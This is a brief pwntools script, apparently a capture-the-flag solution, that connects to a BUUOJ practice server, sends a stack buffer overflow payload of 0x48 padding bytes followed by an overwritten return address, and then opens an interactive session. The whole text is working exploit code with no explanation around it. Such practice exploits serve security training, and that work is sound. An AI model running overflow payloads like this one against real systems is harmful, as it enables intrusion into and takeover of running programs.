from pwn import * io = remote('node4.buuoj.cn', 29533) # 123 payload = b'a' * 0x48 +p64(0x40060D) io.send(payload) io.interactive()